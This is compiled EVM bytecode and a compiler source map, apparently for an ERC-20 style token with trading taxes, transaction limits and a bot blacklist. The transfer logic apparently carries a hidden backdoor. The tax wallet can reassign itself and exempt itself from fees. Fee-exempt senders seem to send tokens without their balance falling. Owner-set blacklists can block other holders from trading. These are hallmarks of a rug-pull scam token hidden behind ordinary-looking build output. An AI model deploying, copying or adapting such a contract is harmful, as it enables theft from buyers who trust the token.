5b6105cd906319133850611750565b600c556105dc6009600a611741565b6105ea906319133850611750565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a611741565b610628906319133850611750565b60405190815260200160405180910390a1565b60006103cf338484610a2a565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161048d90611767565b600354600160a01b900460ff16156106cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048d565b6001546106f89030906001600160a01b03166106ea6009600a611741565b610454906319133850611750565b6001546001600160a01b031663f305d719473061072a816001600160a01b031660009081526010602052604090205490565b60008061073f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107cc919061179c565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610825573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084991906117ca565b506003805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161048d90611767565b60005b81518110156108f5576001601360008484815181106108b1576108b16117ec565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ed81611802565b915050610890565b5050565b6001600160a01b0383166109625760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b606482015260840161048d565b6001600160a01b0382166109c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b606482015260840161048d565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b60008111610b525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b0383166000908152601460205260408120829055610b7f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bae57506000546001600160a01b03848116911614155b15610f48576001600160a01b03841660009081526013602052604090205460ff16158015610bf557506001600160a01b03831660009081526013602052604090205460ff16155b610bfe57600080fd5b610c2a6064610c24600854600b5411610c1957600454610c1d565b6006545b85906110d0565b90611159565b6003549091506001600160a01b038581169116148015610c5857506001546001600160a01b03848116911614155b8015610c7d57506001600160a01b03831660009081526012602052604090205460ff16155b15610d6557600c54821115610cd45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048d565b600d5482610cf7856001600160a01b031660009081526010602052604090205490565b610d01919061181b565b1115610d4f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b600b8054906000610d5f83611802565b91905055505b6003546001600160a01b03848116911614801590610d9c57506001600160a01b03831660009081526012602052604090205460ff16155b15610e1c57600d5482610dc4856001600160a01b031660009081526010602052604090205490565b610dce919061181b565b1115610e1c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b6003546001600160a01b038481169116148015610e4257506001600160a01b0384163014155b15610e6f57610e6c6064610c24600954600b5411610e6257600554610c1d565b60075485906110d0565b90505b6001600160a01b03841660009081526012602052604090205460ff1615610eaa576001600160a01b0384166000908152601460205260408120555b30600090815260106020526040902054600354600160a81b900460ff16158015610ee157506003546001600160a01b038581169116145b8015610ef65750600354600160b01b900460ff165b8015610f035750600e5481115b8015610f125750600a54600b54115b15610f4657610f34610f2f84610f2a84600f5461119b565b61119b565b6111b0565b478015610f4457610f444761132a565b505b505b8015610fc25730600090815260106020526040902054610f689082611364565b30600081815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fb99085815260200190565b60405180910390a35b6001600160a01b038416600090815260146020908152604080832054601090925290912054610ff0916113c3565b6001600160a01b03851660009081526010602052604090205561103561101683836113c3565b6001600160a01b03851660009081526010602052604090205490611364565b6001600160a01b0380851660008181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107f85856113c3565b60405190815260200160405180910390a350505050565b600081848411156110ba5760405162461bcd60e51b815260040161048d9190611433565b5060006110c7848661182e565b95945050505050565b6000826000036110e2575060006103d3565b60006110ee8385611750565b9050826110fb8583611841565b146111525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b9392505050565b600061115283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b60008183116111aa5782611152565b50919050565b6003805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f8576111f86117ec565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611251573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112759190611863565b81600181518110611288576112886117ec565b6001600160a01b0392831660209182029290920101526001546112ae91309116846108f9565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e7908590600090869030904290600401611880565b600060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b50506003805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f5573d6000803e3d6000fd5b600080611371838561181b565b9050838110156111525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b600061115283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611096565b600081836114265760405162461bcd60e51b815260040161048d9190611433565b5060006110c78486611841565b600060208083528351808285015260005b8181101561146057858101830151858201604001528201611444565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149657600080fd5b50565b80356114a481611481565b919050565b600080604083850312156114bc57600080fd5b82356114c781611481565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611481565b9250602084013561150581611481565b929592945050506040919091013590565b60006020828403121561152857600080fd5b813561115281611481565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561155c57600080fd5b823567ffffffffffffffff8082111561157457600080fd5b818501915085601f83011261158857600080fd5b81358181111561159a5761159a611533565b8060051b604051601f19603f830116810181811085821117156115bf576115bf611533565b6040529182528482019250838101850191888311156115dd57600080fd5b938501935b82851015611602576115f385611499565b845293850193928501926115e2565b98975050505050505050565b6000806040838503121561162157600080fd5b823561162c81611481565b9150602083013561163c81611481565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169857816000190482111561167e5761167e611647565b8085161561168b57918102915b93841c9390800290611662565b509250929050565b6000826116af575060016103d3565b816116bc575060006103d3565b81600181146116d257600281146116dc576116f8565b60019150506103d3565b60ff8411156116ed576116ed611647565b50506001821b6103d3565b5060208310610133831016604e8410600b841016171561171b575081810a6103d3565b611725838361165d565b806000190482111561173957611739611647565b029392505050565b600061115260ff8416836116a0565b80820281158282048414176103d3576103d3611647565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117b157600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117dc57600080fd5b8151801515811461115257600080fd5b634e487b7160e01b600052603260045260246000fd5b60006001820161181457611814611647565b5060010190565b808201808211156103d3576103d3611647565b818103818111156103d3576103d3611647565b60008261185e57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561187557600080fd5b815161115281611481565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118d05784516001600160a01b0316835293830193918301916001016118ab565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eddfe8de63c090502cbef2fc1d769d57c753116c91a936f72f2a0fba2a8803bd64736f6c63430008130033

3729:7726:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5756:83;;;;;;;;;;-1:-1:-1;5826:5:0;;;;;;;;;;;;-1:-1:-1;;;5826:5:0;;;;5756:83;;;;;;;:::i;:::-;;;;;;;;6263:161;;;;;;;;;;-1:-1:-1;6263:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6263:161:0;1162:187:1;4665:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4665:51:0;1354:177:1;6033:95:0;;;;;;;;;;;;;:::i;10095:313::-;;;;;;;;;;-1:-1:-1;10095:313:0;;;;;:::i;:::-;;:::i;5942:83::-;;;;;;;;;;-1:-1:-1;5942:83:0;;4398:1;2139:36:1;;2127:2;2112:18;5942:83:0;1997:184:1;6136:119:0;;;;;;;;;;-1:-1:-1;6136:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6229:18:0;6202:7;6229:18;;;:9;:18;;;;;;;6136:119;3572:148;;;;;;;;;;;;;:::i;:::-;;10938:239;;;;;;;;;;-1:-1:-1;10938:239:0;;;;;:::i;:::-;;:::i;10771:159::-;;;;;;;;;;;;;:::i;4475:59::-;;;;;;;;;;;;;;;;3358:79;;;;;;;;;;-1:-1:-1;3396:7:0;3423:6;3358:79;;-1:-1:-1;;;;;3423:6:0;;;2844:51:1;;2832:2;2817:18;3358:79:0;2698:203:1;4541:59:0;;;;;;;;;;;;;;;;5847:87;;;;;;;;;;-1:-1:-1;5919:7:0;;;;;;;;;;;;-1:-1:-1;;;5919:7:0;;;;5847:87;;11285:167;;;;;;;;;;-1:-1:-1;11285:167:0;;;;;:::i;:::-;;:::i;4607:51::-;;;;;;;;;;;;;;;;9440:459;;;;;;;;;;;;;:::i;9250:182::-;;;;;;;;;;-1:-1:-1;9250:182:0;;;;;:::i;:::-;;:::i;9944:143::-;;;;;;;;;;-1:-1:-1;9944:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10052:18:0;;;10025:7;10052:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9944:143;6263:161;6338:4;6355:39;1576:10;6378:7;6387:6;6355:8;:39::i;:::-;-1:-1:-1;6412:4:0;6263:161;;;;;:::o;6033:95::-;6086:7;4455:13;4398:1;4455:2;:13;:::i;:::-;4441:27;;:11;:27;:::i;:::-;6106:14;;6033:95;:::o;10095:313::-;10193:4;10210:36;10220:6;10228:9;10239:6;10210:9;:36::i;:::-;10257:121;10266:6;1576:10;10288:89;10326:6;10288:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10288:19:0;;;;;;:11;:19;;;;;;;;1576:10;10288:33;;;;;;;;;;:37;:89::i;:::-;10257:8;:121::i;:::-;-1:-1:-1;10396:4:0;10095:313;;;;;:::o;3572:148::-;3485:6;;-1:-1:-1;;;;;3485:6:0;1576:10;3485:22;3477:67;;;;-1:-1:-1;;;3477:67:0;;;;;;;:::i;:::-;;;;;;;;;3679:1:::1;3663:6:::0;;3642:40:::1;::::0;-1:-1:-1;;;;;3663:6:0;;::::1;::::0;3642:40:::1;::::0;3679:1;;3642:40:::1;3710:1;3693:19:::0;;-1:-1:-1;;;;;;3693:19:0::1;::::0;;3572:148::o;10938:239::-;11030:10;;-1:-1:-1;;;;;11030:10:0;11016;:24;11008:80;;;;-1:-1:-1;;;11008:80:0;;6808:2:1;11008:80:0;;;6790:21:1;6847:2;6827:18;;;6820:30;6886:34;6866:18;;;6859:62;-1:-1:-1;;;6937:18:1;;;6930:42;6989:19;;11008:80:0;6606:408:1;11008:80:0;11099:10;:22;;-1:-1:-1;;;;;11099:22:0;;;-1:-1:-1;;;;;;11099:22:0;;;;;;;:10;11132:30;;;:18;:30;;;;;:37;;-1:-1:-1;;11132:37:0;11099:22;11132:37;;;10938:239::o;10771:159::-;3485:6;;-1:-1:-1;;;;;3485:6:0;1576:10;3485:22;3477:67;;;;-1:-1:-1;;;3477:67:0;;;;;;;:::i;:::-;4455:13:::1;4398:1;4455:2;:13;:::i;:::-;4441:27;::::0;:11:::1;:27;:::i;:::-;10824:12;:22:::0;4455:13:::1;4398:1;4455:2;:13;:::i;:::-;4441:27;::::0;:11:::1;:27;:::i;:::-;10857:14;:22:::0;10895:27:::1;4455:13;4398:1;4455:2;:13;:::i;:::-;4441:27;::::0;:11:::1;:27;:::i;:::-;10895;::::0;1500:25:1;;;1488:2;1473:18;10895:27:0::1;;;;;;;10771:159::o:0;11285:167::-;11363:4;11380:42;1576:10;11404:9;11415:6;11380:9;:42::i;9440:459::-;3485:6;;-1:-1:-1;;;;;3485:6:0;1576:10;3485:22;3477:67;;;;-1:-1:-1;;;3477:67:0;;;;;;;:::i;:::-;9504:11:::1;::::0;-1:-1:-1;;;9504:11:0;::::1;;;9503:12;9495:47;;;::::0;-1:-1:-1;;;9495:47:0;;7221:2:1;9495:47:0::1;::::0;::::1;7203:21:1::0;7260:2;7240:18;;;7233:30;7299:25;7279:18;;;7272:53;7342:18;;9495:47:0::1;7019:347:1::0;9495:47:0::1;9585:15;::::0;9553:58:::1;::::0;9570:4:::1;::::0;-1:-1:-1;;;;;9585:15:0::1;4455:13;4398:1;4455:2;:13;:::i;:::-;4441:27;::::0;:11:::1;:27;:::i;9553:58::-;9622:15;::::0;-1:-1:-1;;;;;9622:15:0::1;:31;9661:21;9692:4;9698:24;9692:4:::0;-1:-1:-1;;;;;6229:18:0;6202:7;6229:18;;;:9;:18;;;;;;;6136:119;9698:24:::1;9723:1;9725::::0;9727:7:::1;3396::::0;3423:6;-1:-1:-1;;;;;3423:6:0;;3358:79;9727:7:::1;9622:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9622:129:0;;;-1:-1:-1;;;;;7730:15:1;;;9622:129:0::1;::::0;::::1;7712:34:1::0;7762:18;;;7755:34;;;;7805:18;;;7798:34;;;;7848:18;;;7841:34;7912:15;;;7891:19;;;7884:44;9735:15:0::1;7944:19:1::0;;;7937:35;7646:19;;9622:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9769:13:0::1;::::0;;9800:15;9762:71:::1;::::0;-1:-1:-1;;;9762:71:0;;-1:-1:-1;;;;;9800:15:0;;::::1;9762:71;::::0;::::1;8468:51:1::0;-1:-1:-1;;8535:18:1;;;8528:34;9769:13:0;::::1;::::0;-1:-1:-1;9762:29:0::1;::::0;8441:18:1;;9762:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9844:11:0::1;:18:::0;;-1:-1:-1;;;;9873:18:0;-1:-1:-1;;;9873:18:0;;;9440:459::o;9250:182::-;3485:6;;-1:-1:-1;;;;;3485:6:0;1576:10;3485:22;3477:67;;;;-1:-1:-1;;;3477:67:0;;;;;;;:::i;:::-;9331:6:::1;9326:99;9347:10;:17;9343:1;:21;9326:99;;;9409:4;9386:5;:20;9392:10;9403:1;9392:13;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9386:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9386:20:0;:27;;-1:-1:-1;;9386:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9366:3;::::1;::::0;::::1;:::i;:::-;;;;9326:99;;;;9250:182:::0;:::o;10416:347::-;-1:-1:-1;;;;;10509:19:0;;10501:74;;;;-1:-1:-1;;;10501:74:0;;9329:2:1;10501:74:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:40;9508:19;;10501:74:0;9127:406:1;10501:74:0;-1:-1:-1;;;;;10594:21:0;;10586:74;;;;-1:-1:-1;;;10586:74:0;;9740:2:1;10586:74:0;;;9722:21:1;9779:2;9759:18;;;9752:30;9818:34;9798:18;;;9791:62;-1:-1:-1;;;9869:18:1;;;9862:38;9917:19;;10586:74:0;9538:404:1;10586:74:0;-1:-1:-1;;;;;10671:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10723:32;;1500:25:1;;;10723:32:0;;1473:18:1;10723:32:0;;;;;;;10416:347;;;:::o;6432:2211::-;-1:-1:-1;;;;;6520:18:0;;6512:68;;;;-1:-1:-1;;;6512:68:0;;10149:2:1;6512:68:0;;;10131:21:1;10188:2;10168:18;;;10161:30;10227:34;10207:18;;;10200:62;-1:-1:-1;;;10278:18:1;;;10271:35;10323:19;;6512:68:0;9947:401:1;6512:68:0;-1:-1:-1;;;;;6599:16:0;;6591:64;;;;-1:-1:-1;;;6591:64:0;;10555:2:1;6591:64:0;;;10537:21:1;10594:2;10574:18;;;10567:30;10633:34;10613:18;;;10606:62;-1:-1:-1;;;10684:18:1;;;10677:33;10727:19;;6591:64:0;10353:399:1;6591:64:0;6683:1;6674:6;:10;6666:64;;;;-1:-1:-1;;;6666:64:0;;10959:2:1;6666:64:0;;;10941:21:1;10998:2;10978:18;;;10971:30;11037:34;11017:18;;;11010:62;-1:-1:-1;;;11088:18:1;;;11081:39;11137:19;;6666:64:0;10757:405:1;6666:64:0;-1:-1:-1;;;;;6772:14:0;;6741:17;6772:14;;;:8;:14;;;;;:23;;;6818:7;3396;3423:6;-1:-1:-1;;;;;3423:6:0;;3358:79;6818:7;-1:-1:-1;;;;;6810:15:0;:4;-1:-1:-1;;;;;6810:15:0;;;:32;;;;-1:-1:-1;3396:7:0;3423:6;-1:-1:-1;;;;;6829:13:0;;;3423:6;;6829:13;;6810:32;6806:1473;;;-1:-1:-1;;;;;6868:11:0;;;;;;:5;:11;;;;;;;;6867:12;:26;;;;-1:-1:-1;;;;;;6884:9:0;;;;;;:5;:9;;;;;;;;6883:10;6867:26;6859:35;;;;;;6921:76;6993:3;6921:67;6943:15;;6933:9;;:25;6932:55;;6973:14;;6932:55;;;6960:12;;6932:55;6921:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7026:13;;6909:88;;-1:-1:-1;;;;;;7018:21:0;;;7026:13;;7018:21;:55;;;;-1:-1:-1;7057:15:0;;-1:-1:-1;;;;;7043:30:0;;;7057:15;;7043:30;;7018:55;:83;;;;-1:-1:-1;;;;;;7079:22:0;;;;;;:18;:22;;;;;;;;7077:24;7018:83;7014:313;;;7141:12;;7131:6;:22;;7123:60;;;;-1:-1:-1;;;7123:60:0;;11369:2:1;7123:60:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:27;11427:18;;;11420:55;11492:18;;7123:60:0;11167:349:1;7123:60:0;7236:14;;7226:6;7210:13;7220:2;-1:-1:-1;;;;;6229:18:0;6202:7;6229:18;;;:9;:18;;;;;;;6136:119;7210:13;:22;;;;:::i;:::-;:40;;7202:79;;;;-1:-1:-1;;;7202:79:0;;11853:2:1;7202:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;7202:79:0;11651:350:1;7202:79:0;7300:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7014:313;7351:13;;-1:-1:-1;;;;;7345:19:0;;;7351:13;;7345:19;;;;:47;;-1:-1:-1;;;;;;7370:22:0;;;;;;:18;:22;;;;;;;;7368:24;7345:47;7341:167;;;7447:14;;7437:6;7421:13;7431:2;-1:-1:-1;;;;;6229:18:0;6202:7;6229:18;;;:9;:18;;;;;;;6136:119;7421:13;:22;;;;:::i;:::-;:40;;7413:79;;;;-1:-1:-1;;;7413:79:0;;11853:2:1;7413:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;7413:79:0;11651:350:1;7413:79:0;7531:13;;-1:-1:-1;;;;;7525:19:0;;;7531:13;;7525:19;:43;;;;-1:-1:-1;;;;;;7548:20:0;;7563:4;7548:20;;7525:43;7522:174;;;7601:79;7676:3;7601:70;7623:16;;7613:9;;:26;7612:58;;7655:15;;7612:58;;;7641:13;;7601:6;;:10;:70::i;:79::-;7589:91;;7522:174;-1:-1:-1;;;;;7714:24:0;;;;;;:18;:24;;;;;;;;7710:53;;;-1:-1:-1;;;;;7742:14:0;;7759:1;7742:14;;;:8;:14;;;;;:18;7710:53;7826:4;7777:28;6229:18;;;:9;:18;;;;;;7852:6;;-1:-1:-1;;;7852:6:0;;;;7851:7;:32;;;;-1:-1:-1;7870:13:0;;-1:-1:-1;;;;;7862:21:0;;;7870:13;;7862:21;7851:32;:47;;;;-1:-1:-1;7887:11:0;;-1:-1:-1;;;7887:11:0;;;;7851:47;:89;;;;;7923:17;;7902:20;:38;7851:89;:121;;;;;7954:18;;7944:9;;:28;7851:121;7847:421;;;7993:67;8010:49;8014:6;8021:37;8025:20;8046:11;;8021:3;:37::i;:::-;8010:3;:49::i;:::-;7993:16;:67::i;:::-;8108:21;8151:22;;8148:105;;8198:35;8211:21;8198:12;:35::i;:::-;7974:294;7847:421;6844:1435;6806:1473;8294:11;;8291:161;;8362:4;8344:24;;;;:9;:24;;;;;;:39;;8373:9;8344:28;:39::i;:::-;8337:4;8319:24;;;;:9;:24;;;;;;;:64;;;;8401:39;;-1:-1:-1;;;;;8401:39:0;;;;;;;8430:9;1500:25:1;;1488:2;1473:18;;1354:177;8401:39:0;;;;;;;;8291:161;-1:-1:-1;;;;;8498:14:0;;;;;;:8;:14;;;;;;;;;8478:9;:15;;;;;;;:35;;:19;:35::i;:::-;-1:-1:-1;;;;;8462:15:0;;;;;;:9;:15;;;;;:51;8538:40;8556:21;:6;8567:9;8556:10;:21::i;:::-;-1:-1:-1;;;;;8538:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8524:13:0;;;;;;;:9;:13;;;;;:54;;;;8594:41;;;8613:21;:6;8624:9;8613:10;:21::i;:::-;8594:41;;1500:25:1;;;1488:2;1473:18;8594:41:0;;;;;;;6501:2142;6432:2211;;;:::o;675:190::-;761:7;797:12;789:6;;;;781:29;;;;-1:-1:-1;;;781:29:0;;;;;;;;:::i;:::-;-1:-1:-1;821:9:0;833:5;837:1;833;:5;:::i;:::-;821:17;675:190;-1:-1:-1;;;;;675:190:0:o;873:246::-;931:7;955:1;960;955:6;951:47;;-1:-1:-1;985:1:0;978:8;;951:47;1008:9;1020:5;1024:1;1020;:5;:::i;:::-;1008:17;-1:-1:-1;1053:1:0;1044:5;1048:1;1008:17;1044:5;:::i;:::-;:10;1036:56;;;;-1:-1:-1;;;1036:56:0;;12563:2:1;1036:56:0;;;12545:21:1;12602:2;12582:18;;;12575:30;12641:34;12621:18;;;12614:62;-1:-1:-1;;;12692:18:1;;;12685:31;12733:19;;1036:56:0;12361:397:1;1036:56:0;1110:1;873:246;-1:-1:-1;;;873:246:0:o;1127:132::-;1185:7;1212:39;1216:1;1219;1212:39;;;;;;;;;;;;;;;;;:3;:39::i;9144:98::-;9201:7;9228:1;9226;:3;9225:9;;9233:1;9225:9;;;-1:-1:-1;9231:1:0;9144:98;-1:-1:-1;9144:98:0:o;8651:483::-;5209:6;:13;;-1:-1:-1;;;;5209:13:0;-1:-1:-1;;;5209:13:0;;;8753:16:::1;::::0;;8767:1:::1;8753:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8753:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8753:16:0::1;8729:40;;8798:4;8780;8785:1;8780:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8780:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8824:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8824:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8780:7;;8824:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8814:4;8819:1;8814:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8814:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8889:15:::1;::::0;8857:62:::1;::::0;8874:4:::1;::::0;8889:15:::1;8907:11:::0;8857:8:::1;:62::i;:::-;8930:15;::::0;:196:::1;::::0;-1:-1:-1;;;8930:196:0;;-1:-1:-1;;;;;8930:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9011:11;;8930:15:::1;::::0;9053:4;;9080::::1;::::0;9100:15:::1;::::0;8930:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5245:6:0;:14;;-1:-1:-1;;;;5245:14:0;;;-1:-1:-1;;;;8651:483:0:o;11185:92::-;11242:10;;:27;;-1:-1:-1;;;;;11242:10:0;;;;:27;;;;;11262:6;;11242:10;:27;:10;:27;11262:6;11242:10;:27;;;;;;;;;;;;;;;;;;;344:179;402:7;;434:5;438:1;434;:5;:::i;:::-;422:17;;463:1;458;:6;;450:46;;;;-1:-1:-1;;;450:46:0;;14206:2:1;450:46:0;;;14188:21:1;14245:2;14225:18;;;14218:30;14284:29;14264:18;;;14257:57;14331:18;;450:46:0;14004:351:1;531:136:0;589:7;616:43;620:1;623;616:43;;;;;;;;;;;;;;;;;:3;:43::i;1267:189::-;1353:7;1388:12;1381:5;1373:28;;;;-1:-1:-1;;;1373:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1412:9:0;1424:5;1428:1;1424;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:247::-;2245:6;2298:2;2286:9;2277:7;2273:23;2269:32;2266:52;;;2314:1;2311;2304:12;2266:52;2353:9;2340:23;2372:31;2397:5;2372:31;:::i;2906:127::-;2967:10;2962:3;2958:20;2955:1;2948:31;2998:4;2995:1;2988:15;3022:4;3019:1;3012:15;3038:1121;3122:6;3153:2;3196;3184:9;3175:7;3171:23;3167:32;3164:52;;;3212:1;3209;3202:12;3164:52;3252:9;3239:23;3281:18;3322:2;3314:6;3311:14;3308:34;;;3338:1;3335;3328:12;3308:34;3376:6;3365:9;3361:22;3351:32;;3421:7;3414:4;3410:2;3406:13;3402:27;3392:55;;3443:1;3440;3433:12;3392:55;3479:2;3466:16;3501:2;3497;3494:10;3491:36;;;3507:18;;:::i;:::-;3553:2;3550:1;3546:10;3585:2;3579:9;3648:2;3644:7;3639:2;3635;3631:11;3627:25;3619:6;3615:38;3703:6;3691:10;3688:22;3683:2;3671:10;3668:18;3665:46;3662:72;;;3714:18;;:::i;:::-;3750:2;3743:22;3800:18;;;3834:15;;;;-1:-1:-1;3876:11:1;;;3872:20;;;3904:19;;;3901:39;;;3936:1;3933;3926:12;3901:39;3960:11;;;;3980:148;3996:6;3991:3;3988:15;3980:148;;;4062:23;4081:3;4062:23;:::i;:::-;4050:36;;4013:12;;;;4106;;;;3980:148;;;4147:6;3038:1121;-1:-1:-1;;;;;;;;3038:1121:1:o;4164:388::-;4232:6;4240;4293:2;4281:9;4272:7;4268:23;4264:32;4261:52;;;4309:1;4306;4299:12;4261:52;4348:9;4335:23;4367:31;4392:5;4367:31;:::i;:::-;4417:5;-1:-1:-1;4474:2:1;4459:18;;4446:32;4487:33;4446:32;4487:33;:::i;:::-;4539:7;4529:17;;;4164:388;;;;;:::o;4557:127::-;4618:10;4613:3;4609:20;4606:1;4599:31;4649:4;4646:1;4639:15;4673:4;4670:1;4663:15;4689:422;4778:1;4821:5;4778:1;4835:270;4856:7;4846:8;4843:21;4835:270;;;4915:4;4911:1;4907:6;4903:17;4897:4;4894:27;4891:53;;;4924:18;;:::i;:::-;4974:7;4964:8;4960:22;4957:55;;;4994:16;;;;4957:55;5073:22;;;;5033:15;;;;4835: